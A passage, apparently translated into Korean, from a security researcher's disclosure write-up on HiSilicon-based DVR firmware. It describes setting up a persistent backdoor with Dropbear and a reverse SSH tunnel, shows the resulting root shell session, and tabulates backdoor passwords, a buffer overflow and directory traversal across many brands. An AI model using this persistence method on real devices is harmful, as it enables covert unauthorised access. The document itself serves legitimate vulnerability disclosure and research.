영구적이고 안정적인 백도어를 만들고 싶다면 Dropbear를 업로드하고 로컬에서 리슨하도록 만든 다음 외부로 역방향 SSH 터널을 열 수 있습니다. 이 아키텍처를 사용하면 언제 어디서나 DVR 장치에 로그인할 수 있습니다.이제 리버스 터널을 통해 SSH로 장치에 접근할 수 있습니다:
----
$ ssh -p2322 root@localhost
root@localhost's password:
BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
Welcome to Monitor Tech.
[root@LocalHost /]$
----
== 요약
문서화된 취약점은 다음과 같습니다:
[cols="2,1,1,1,4",options="header",]
|=======================================================================
|취약점 |위험도 |서비스 |발견 |영향
|하드코딩된(백도어) 텔넷 비밀번호 |높음 |23/tcp |이전에 다른 사람들에 의해
|텔넷 인터페이스에 접근할 수 있는 모든 사용자는 사용자가 적절한
비밀번호를 설정했더라도 장치를 완전히 제어할 수 있음
|모든 애플리케이션 계정을 통한 루트 셸 접근 |높음 |9527/tcp |작성자에
의해 |어떤 종류의 애플리케이션 계정을 보유하고 서비스 콘솔에 접근할 수
있는 모든 사용자는 권한을 승격하여 장치를 완전히(셸) 제어할 수 있음
|*백도어 애플리케이션 비밀번호* |심각 |80/tcp, 554/tcp |작성자에
의해 |사용자가 장치를 보호하기 위해 강력한 비밀번호를 설정했더라도
누구나 애플리케이션 관리자로 장치에 접근할 수 있음
|*내장 웹서버의 버퍼 오버플로* |심각 |80/tcp |작성자에 의해 |버퍼
오버플로를 악용하여 공격자는 인증 없이 장치에서 루트 원격 코드 실행을
획득하고 백도어, 악성코드 및 기타 악성 콘텐츠를 설치할 수 있음
|디렉토리 트래버설 |높음 |80/tcp |이전에 다른 사람들(?) 및 작성자에
의해 |장치의 모든 것(예: 녹화된 스트림)에 대한 무단 읽기 접근이
가능하며, 버퍼 오버플로 악용에도 도움이 됨
|=======================================================================
이러한 심각한 취약점이 "Seculink" 브랜드 장치에만 영향을 미친다고
생각한다면 그것은 잘못된 생각입니다. 영향을 받는 장치의 범위는 매우
넓습니다. 이러한 종류의 HiSilicon SoC 하드웨어로 제작된 모든 장치는
취약합니다. 이 장치들은 "Sofia"라는 바이너리 애플리케이션과 (거의)
동일한 펌웨어를 공유합니다. 위의 취약점(완전한 기능을 갖춘
스크립트까지도)은 수정 없이 다양한 하드웨어에서 거의 안정적으로
작동합니다.
영향을 받는 브랜드의 (완전하지 않은) 목록은 다음과 같습니다:
image::./brands_affected.png[영향을 받는 브랜드]
http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/
일반적으로 이러한 종류의 저가형 IoT 장치는 보안 악몽이라고 할 수
있습니다. 작성자가 최근에 테스트한 모든 장치에는 심각하거나 치명적인
취약점이 하나 이상 있었습니다. 침투 테스터의 관점에서 권장하는 것은
이러한 종류의 장치를 잘 분리해야 하며, 중요한 기밀 데이터와 동일한
네트워크를 공유해서는 안 된다는 것입니다. 불행히도 이러한 펌웨어에 대한
패치 업데이트를 받을 수 있는 실제적인 기회는 없습니다.
마지막으로, 이 버퍼 오버플로 취약점(익스플로잇 PoC 코드 포함)이
https://www.beyondsecurity.com/[Beyond Security]의
https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure]
(SSD) 프로그램을 통해 공개되었음을 알려드리는 것이 중요합니다.
공급업체(HiSilicon)는 2016년 말에 (Beyond Security를 통해) 통보를
받았지만, 취약점이 공개되기 전까지 어떤 답변도 없었습니다(안타깝게도
흔한 일입니다).
2017년 2월에 공개된 공개 문서는
https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[여기]에서 확인할 수 있습니다.
*업데이트 (2023-01-01):* 이 연구는 https://vulncheck.com/[VulnCheck]에서
(2022-11-30) https://twitter.com/Junior_Baines[Jacob Baines]의 Xiongmai
장치 해킹에 관한 이 기사에서 참조되었습니다:
https://vulncheck.com/blog/xiongmai-iot-exploitation